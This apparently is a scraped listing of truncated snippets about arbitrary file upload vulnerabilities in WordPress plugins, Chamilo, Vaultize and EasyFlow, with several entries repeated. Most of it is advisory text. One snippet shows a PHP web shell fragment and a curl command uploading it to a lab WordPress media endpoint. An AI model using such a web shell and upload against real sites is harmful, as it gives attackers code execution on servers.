CVE-2025-4190

CVE-2025-4190 — CSV Mass Importer de WordPress ≤ 1.2 Carga Arbitraria de Archivos -purple 📌 Descripción El plugin CSV Mass Importer ≤ 1.2 para WordPress contiene una vulnerabilidad de Carga Arbitraria de Archivos para Admin+. Debido a una validación incorrecta de los archivos subidos, los usuario...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ Una vez que la shell está...

ChamiloLMS-CVE-2023-4220

Exploit de ChamiloLMS CVE-2023-4220 Exploit en Python para CVE-2023-4220 , una vulnerabilidad de subida arbitraria de archivos sin autenticación que afecta a Chamilo LMS = 1.11.24. La vulnerabilidad se encuentra en el componente BigUpload de Chamilo. En instalaciones vulnerables, el manejador de...

vaultize_CVE-2024-36079

Acerca de la vulnerabilidad La versión on-premise de Vaultize DRM v.21.07.27 es vulnerable a la subida de archivos arbitrarios. Los archivos cuyos nombres contienen parte de la ruta absoluta del sistema de archivos pueden subirse debido a la falta de filtrado de nombres de archivo. Al intentar...

CVE-2026-102454

EasyFlow .NET developed by Digiwin has an Arbitrary File Upload vulnerability. Privileged remote attackers can upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server...

CVE-2026-102454 DigiWin｜EasyFlow .NET - Arbitrary File Upload

EasyFlow .NET developed by Digiwin has an Arbitrary File Upload vulnerability. Privileged remote attackers can upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server...

CVE-2026-102454 DigiWin｜EasyFlow .NET - Arbitrary File Upload

EasyFlow .NET developed by Digiwin has an Arbitrary File Upload vulnerability. Privileged remote attackers can upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server...

CVE-2026-102454

The EasyFlow .NET software developed by Digiwin is susceptible to an Arbitrary File Upload vulnerability. A privileged remote attacker can exploit this flaw to upload and execute web shell backdoors , which leads to arbitrary code execution on the server. No specific affected versions, root cause...

EUVD-2026-89681

EasyFlow .NET developed by Digiwin has an Arbitrary File Upload vulnerability. Privileged remote attackers can upload and execute web shell backdoors, thereby enabling arbitrary code execution on the server...

CVE-2026-75873

The Zella Theme WordPress theme, specifically versions before 2.6.3 , is vulnerable to unauthenticated arbitrary file upload. The root cause is a lack of capability or nonce checks on a font upload action. Attackers can exploit this to upload arbitrary files, including PHP files , leading to remo...

CVE-2026-75873 Zella Theme < 2.6.3 - Unauthenticated Arbitrary File Upload

The Zella Theme WordPress theme before 2.6.3 does not perform any capability or nonce check on one of its font upload actions, which is available to unauthenticated users, allowing them to upload arbitrary files, including PHP ones, and achieve remote code execution...

CVE-2026-75873 Zella Theme < 2.6.3 - Unauthenticated Arbitrary File Upload

The Zella Theme WordPress theme before 2.6.3 does not perform any capability or nonce check on one of its font upload actions, which is available to unauthenticated users, allowing them to upload arbitrary files, including PHP ones, and achieve remote code execution...

Exploit for CVE-2026-18143

CVE-2026-18143...

WooCommerce Help Scout - Arbitrary File Upload

WooCommerce Help Scout plugin before version 2.9.1 contains an unrestricted file upload vulnerability. The vulnerability allows unauthenticated users to upload arbitrary files to the server which by default will end up in wp-content/uploads/hstmp/ directory, potentially leading to remote code...

Adning Advertising <= 1.5.5 - Arbitrary File Upload

The Adning Advertising plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the ninguploadimage function in versions up to, and including, 1.5.5. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected sites...

WP Time Capsule Plugin - Remote Code Execution

The Backup and Staging by WP Time Capsule plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the the UploadHandler.php file and no direct file access prevention in all versions up to, and including, 1.22.21. This makes it possible for unauthenticat...

LyLme-Spage - Arbitary File Upload

An arbitrary file upload vulnerability in the component /include/file.php of lylmespage v1.9.5 allows attackers to execute arbitrary code via uploading a crafted file. id: CVE-2024-34982 info: name: LyLme-Spage - Arbitary File Upload author: DhiyaneshDk severity: high description: | An arbitrary...

WordPress ProfilePress 3.0-3.1.3 - Arbitrary File Upload

A vulnerability in the file uploader component found in the /src/Classes/FileUploader.php file of the ProfilePress WordPress plugin made it possible for users to upload arbitrary files during user registration or during profile updates. This issue affects versions 3.0.0 - 3.1.3. id: CVE-2021-3462...

Contact Form 7 Drag and Drop Multiple File Upload - Arbitrary File Upload

The Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in all versions up to, and including, 1.3.8.9. This makes it possible for unauthenticated attackers to bypass the plugin's blacklist and...

TI WooCommerce Wishlist <= 2.9.2 - Arbitrary File Upload

TemplateInvaders TI WooCommerce Wishlist = 2.10.0 contains an unrestricted file upload vulnerability caused by lack of proper file type validation, letting attackers upload web shells to the server, exploit requires no special privileges. id: CVE-2025-47577 info: name: TI WooCommerce Wishlist =...